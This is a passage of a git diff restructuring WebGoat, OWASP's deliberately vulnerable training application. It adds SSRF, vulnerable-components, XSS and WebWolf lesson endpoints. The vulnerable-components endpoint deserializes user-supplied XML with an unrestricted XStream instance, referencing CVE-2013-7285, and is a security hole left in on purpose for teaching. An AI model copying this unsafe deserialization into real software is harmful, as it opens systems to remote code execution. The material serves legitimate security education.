b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.ssrf; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class SSRF extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A10; + } + + @Override + public String getTitle() { + return "ssrf.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java new file mode 100644 index 000000000..210c98421 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java @@ -0,0 +1,66 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.ssrf; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"ssrf.hint1", "ssrf.hint2"}) +public class SSRFTask1 extends AssignmentEndpoint { + + @PostMapping("/SSRF/task1") + @ResponseBody + public AttackResult completed(@RequestParam String url) { + return stealTheCheese(url); + } + + protected AttackResult stealTheCheese(String url) { + try { + StringBuilder html = new StringBuilder(); + + if (url.matches("images/tom.png")) { + html.append( + "\"Tom\""); + return failed(this).feedback("ssrf.tom").output(html.toString()).build(); + } else if (url.matches("images/jerry.png")) { + html.append( + "\"Jerry\""); + return success(this).feedback("ssrf.success").output(html.toString()).build(); + } else { + html.append("\"Silly"); + return failed(this).feedback("ssrf.failure").output(html.toString()).build(); + } + } catch (Exception e) { + e.printStackTrace(); + return failed(this).output(e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java new file mode 100644 index 000000000..cb58bd63d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java @@ -0,0 +1,72 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.ssrf; + +import java.io.IOException; +import java.io.InputStream; +import java.net.MalformedURLException; +import java.net.URL; +import java.nio.charset.StandardCharsets; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"ssrf.hint3"}) +public class SSRFTask2 extends AssignmentEndpoint { + + @PostMapping("/SSRF/task2") + @ResponseBody + public AttackResult completed(@RequestParam String url) { + return furBall(url); + } + + protected AttackResult furBall(String url) { + if (url.matches("http://ifconfig.pro")) { + String html; + try (InputStream in = new URL(url).openStream()) { + html = + new String(in.readAllBytes(), StandardCharsets.UTF_8) + .replaceAll("\n", "
"); // Otherwise the \n gets escaped in the response + } catch (MalformedURLException e) { + return getFailedResult(e.getMessage()); + } catch (IOException e) { + // in case the external site is down, the test and lesson should still be ok + html = + "Although the http://ifconfig.pro site is down, you still managed to solve" + + " this exercise the right way!"; + } + return success(this).feedback("ssrf.success").output(html).build(); + } + var html = "\"image"; + return getFailedResult(html); + } + + private AttackResult getFailedResult(String errorMsg) { + return failed(this).feedback("ssrf.failure").output(errorMsg).build(); + } +} diff --git a/webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/Contact.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java similarity index 75% rename from webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/Contact.java rename to src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java index e02915781..32c4df24a 100644 --- a/webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/Contact.java +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java @@ -20,16 +20,23 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.vulnerable_components; +package org.owasp.webgoat.lessons.vulnerablecomponents; public interface Contact { - public Integer getId(); - public void setId(Integer id); - public String getFirstName(); - public void setFirstName(String firstName); - public String getLastName(); - public void setLastName(String lastName); - public String getEmail(); - public void setEmail(String email); -} \ No newline at end of file + public Integer getId(); + + public void setId(Integer id); + + public String getFirstName(); + + public void setFirstName(String firstName); + + public String getLastName(); + + public void setLastName(String lastName); + + public String getEmail(); + + public void setEmail(String email); +} diff --git a/webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/ContactImpl.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java similarity index 87% rename from webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/ContactImpl.java rename to src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java index 951c2f678..f69b253e7 100644 --- a/webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/ContactImpl.java +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java @@ -20,16 +20,15 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.vulnerable_components; +package org.owasp.webgoat.lessons.vulnerablecomponents; import lombok.Data; @Data public class ContactImpl implements Contact { - private Integer id; - private String firstName; - private String lastName; - private String email; - -} \ No newline at end of file + private Integer id; + private String firstName; + private String lastName; + private String email; +} diff --git a/webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponents.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java similarity index 77% rename from webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponents.java rename to src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java index 384cf4ba7..a868727db 100644 --- a/webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponents.java +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java @@ -20,22 +20,21 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.vulnerable_components; +package org.owasp.webgoat.lessons.vulnerablecomponents; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class VulnerableComponents extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.VULNERABLE_COMPONENTS; - } - - @Override - public String getTitle() { - return "vulnerable-components.title"; - } + @Override + public Category getDefaultCategory() { + return Category.A6; + } + @Override + public String getTitle() { + return "vulnerable-components.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java new file mode 100644 index 000000000..ad1a91cc4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java @@ -0,0 +1,75 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.vulnerablecomponents; + +import com.thoughtworks.xstream.XStream; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"vulnerable.hint"}) +public class VulnerableComponentsLesson extends AssignmentEndpoint { + + @PostMapping("/VulnerableComponents/attack1") + public @ResponseBody AttackResult completed(@RequestParam String payload) { + XStream xstream = new XStream(); + xstream.setClassLoader(Contact.class.getClassLoader()); + xstream.alias("contact", ContactImpl.class); + xstream.ignoreUnknownElements(); + Contact contact = null; + + try { + if (!StringUtils.isEmpty(payload)) { + payload = + payload + .replace("+", "") + .replace("\r", "") + .replace("\n", "") + .replace("> ", ">") + .replace(" <", "<"); + } + contact = (Contact) xstream.fromXML(payload); + } catch (Exception ex) { + return failed(this).feedback("vulnerable-components.close").output(ex.getMessage()).build(); + } + + try { + if (null != contact) { + contact.getFirstName(); // trigger the example like + // https://x-stream.github.io/CVE-2013-7285.html + } + if (!(contact instanceof ContactImpl)) { + return success(this).feedback("vulnerable-components.success").build(); + } + } catch (Exception e) { + return success(this).feedback("vulnerable-components.success").output(e.getMessage()).build(); + } + return failed(this).feedback("vulnerable-components.fromXML").feedbackArgs(contact).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java b/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java new file mode 100644 index 000000000..6c2171e9a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.webgoatintroduction; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class WebGoatIntroduction extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.INTRODUCTION; + } + + @Override + public String getTitle() { + return "webgoat.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java new file mode 100644 index 000000000..b1a3442b3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java @@ -0,0 +1,15 @@ +package org.owasp.webgoat.lessons.webwolfintroduction; + +import java.io.Serializable; +import lombok.Builder; +import lombok.Data; + +@Builder +@Data +public class Email implements Serializable { + + private String contents; + private String sender; + private String title; + private String recipient; +} diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/LandingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java similarity index 61% rename from webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/LandingAssignment.java rename to src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java index 2600c0271..c6e9e0493 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/LandingAssignment.java +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java @@ -20,11 +20,14 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.webwolf_introduction; +package org.owasp.webgoat.lessons.webwolfintroduction; +import java.net.URI; +import java.net.URISyntaxException; +import javax.servlet.http.HttpServletRequest; import org.apache.commons.lang3.StringUtils; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; @@ -32,10 +35,6 @@ import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.ModelAndView; -import javax.servlet.http.HttpServletRequest; -import java.net.URI; -import java.net.URISyntaxException; - /** * @author nbaars * @since 8/20/17. @@ -43,27 +42,26 @@ import java.net.URISyntaxException; @RestController public class LandingAssignment extends AssignmentEndpoint { - @Value("${webwolf.url.landingpage}") - private String landingPageUrl; + @Value("${webwolf.landingpage.url}") + private String landingPageUrl; - @PostMapping("/WebWolf/landing") - @ResponseBody - public AttackResult click(String uniqueCode) { - if (StringUtils.reverse(getWebSession().getUserName()).equals(uniqueCode)) { - return success(this).build(); - } - return failed(this).feedback("webwolf.landing_wrong").build(); + @PostMapping("/WebWolf/landing") + @ResponseBody + public AttackResult click(String uniqueCode) { + if (StringUtils.reverse(getWebSession().getUserName()).equals(uniqueCode)) { + return success(this).build(); } + return failed(this).feedback("webwolf.landing_wrong").build(); + } + @GetMapping("/WebWolf/landing/password-reset") + public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException { + URI uri = new URI(request.getRequestURL().toString()); + ModelAndView modelAndView = new ModelAndView(); + modelAndView.addObject("webwolfUrl", landingPageUrl); + modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName())); - @GetMapping("/WebWolf/landing/password-reset") - public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException { - URI uri = new URI(request.getRequestURL().toString()); - ModelAndView modelAndView = new ModelAndView(); - modelAndView.addObject("webwolfUrl", landingPageUrl); - modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName())); - - modelAndView.setViewName("webwolfPasswordReset"); - return modelAndView; - } + modelAndView.setViewName("lessons/webwolfintroduction/templates/webwolfPasswordReset.html"); + return modelAndView; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java new file mode 100644 index 000000000..8dd168d6e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java @@ -0,0 +1,92 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.webwolfintroduction; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class MailAssignment extends AssignmentEndpoint { + + private final String webWolfURL; + private RestTemplate restTemplate; + + public MailAssignment( + RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { + this.restTemplate = restTemplate; + this.webWolfURL = webWolfURL; + } + + @PostMapping("/WebWolf/mail/send") + @ResponseBody + public AttackResult sendEmail(@RequestParam String email) { + String username = email.substring(0, email.indexOf("@")); + if (username.equalsIgnoreCase(getWebSession().getUserName())) { + Email mailEvent = + Email.builder() + .recipient(username) + .title("Test messages from WebWolf") + .contents( + "This is a test message from WebWolf, your unique code is: " + + StringUtils.reverse(username)) + .sender("webgoat@owasp.org") + .build(); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e) { + return informationMessage(this) + .feedback("webwolf.email_failed") + .output(e.getMessage()) + .build(); + } + return informationMessage(this).feedback("webwolf.email_send").feedbackArgs(email).build(); + } else { + return informationMessage(this) + .feedback("webwolf.email_mismatch") + .feedbackArgs(username) + .build(); + } + } + + @PostMapping("/WebWolf/mail") + @ResponseBody + public AttackResult completed(@RequestParam String uniqueCode) { + if (uniqueCode.equals(StringUtils.reverse(getWebSession().getUserName()))) { + return success(this).build(); + } else { + return failed(this).feedbackArgs("webwolf.code_incorrect").feedbackArgs(uniqueCode).build(); + } + } +} diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/WebWolfIntroduction.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java similarity index 78% rename from webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/WebWolfIntroduction.java rename to src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java index a37b35ef2..39fe97e2d 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/WebWolfIntroduction.java +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java @@ -20,22 +20,21 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.webwolf_introduction; +package org.owasp.webgoat.lessons.webwolfintroduction; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class WebWolfIntroduction extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.INTRODUCTION; - } - - @Override - public String getTitle() { - return "webwolf.title"; - } + @Override + public Category getDefaultCategory() { + return Category.INTRODUCTION; + } + @Override + public String getTitle() { + return "webwolf.title"; + } } diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/Comment.java b/src/main/java/org/owasp/webgoat/lessons/xss/Comment.java similarity index 72% rename from webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/Comment.java rename to src/main/java/org/owasp/webgoat/lessons/xss/Comment.java index ea1f323f0..b0b719b21 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/Comment.java +++ b/src/main/java/org/owasp/webgoat/lessons/xss/Comment.java @@ -1,12 +1,11 @@ -package org.owasp.webgoat.xss; +package org.owasp.webgoat.lessons.xss; +import javax.xml.bind.annotation.XmlRootElement; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.Setter; -import javax.xml.bind.annotation.XmlRootElement; - /** * @author nbaars * @since 4/8/17. @@ -17,8 +16,7 @@ import javax.xml.bind.annotation.XmlRootElement; @NoArgsConstructor @XmlRootElement public class Comment { - private String user; - private String dateTime; - private String text; + private String user; + private String dateTime; + private String text; } - diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScripting.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java similarity index 79% rename from webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScripting.java rename to src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java index 898d13838..9068e030f 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScripting.java +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java @@ -20,21 +20,21 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xss; +package org.owasp.webgoat.lessons.xss; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class CrossSiteScripting extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.XSS; - } + @Override + public Category getDefaultCategory() { + return Category.A3; + } - @Override - public String getTitle() { - return "xss.title"; - } + @Override + public String getTitle() { + return "xss.title"; + } } diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java similarity index 73% rename from webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1.java rename to src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java index 3f988a8e2..114632ef5 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1.java +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java @@ -1,4 +1,3 @@ - /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * @@ -21,26 +20,26 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xss; +package org.owasp.webgoat.lessons.xss; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; - @RestController public class CrossSiteScriptingLesson1 extends AssignmentEndpoint { - @PostMapping("/CrossSiteScripting/attack1") - @ResponseBody - public AttackResult completed(@RequestParam String answer_xss_1) { - if (answer_xss_1.toString().toLowerCase().equals("yes")) { - return success(this).build(); - } else { - return failed(this).feedback("xss.lesson1.failure").build(); - } + @PostMapping("/CrossSiteScripting/attack1") + @ResponseBody + public AttackResult completed( + @RequestParam(value = "checkboxAttack1", required = false) String checkboxValue) { + if (checkboxValue != null) { + return success(this).build(); + } else { + return failed(this).feedback("xss.lesson1.failure").build(); } + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java new file mode 100644 index 000000000..fcd9138da --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java @@ -0,0 +1,89 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +// @RestController +@Deprecated +// TODO This assignment seems not to be in use in the UI +// it is there to make sure the lesson can be marked complete +// in order to restore it, make it accessible through the UI and uncomment RestController +@AssignmentHints( + value = { + "xss-mitigation-3-hint1", + "xss-mitigation-3-hint2", + "xss-mitigation-3-hint3", + "xss-mitigation-3-hint4" + }) +public class CrossSiteScriptingLesson3 extends AssignmentEndpoint { + + @PostMapping("/CrossSiteScripting/attack3") + @ResponseBody + public AttackResult completed(@RequestParam String editor) { + String unescapedString = org.jsoup.parser.Parser.unescapeEntities(editor, true); + try { + if (editor.isEmpty()) return failed(this).feedback("xss-mitigation-3-no-code").build(); + Document doc = Jsoup.parse(unescapedString); + String[] lines = unescapedString.split(""); + + String include = (lines[0]); + String fistNameElement = + doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text(); + String lastNameElement = + doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text(); + + Boolean includeCorrect = false; + Boolean firstNameCorrect = false; + Boolean lastNameCorrect = false; + + if (include.contains("<%@") + && include.contains("taglib") + && include.contains("uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\"") + && include.contains("%>")) { + includeCorrect = true; + } + if (fistNameElement.equals("${e:forHtml(param.first_name)}")) { + firstNameCorrect = true; + } + if (lastNameElement.equals("${e:forHtml(param.last_name)}")) { + lastNameCorrect = true; + } + + if (includeCorrect && firstNameCorrect && lastNameCorrect) { + return success(this).feedback("xss-mitigation-3-success").build(); + } else { + return failed(this).feedback("xss-mitigation-3-failure").build(); + } + } catch (Exception e) { + return failed(this).output(e.getMessage()).build(); + } + } +} diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson4.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java similarity index 50% rename from webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson4.java rename to src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java index 7b4ef5b9d..7a487471e 100644 --- 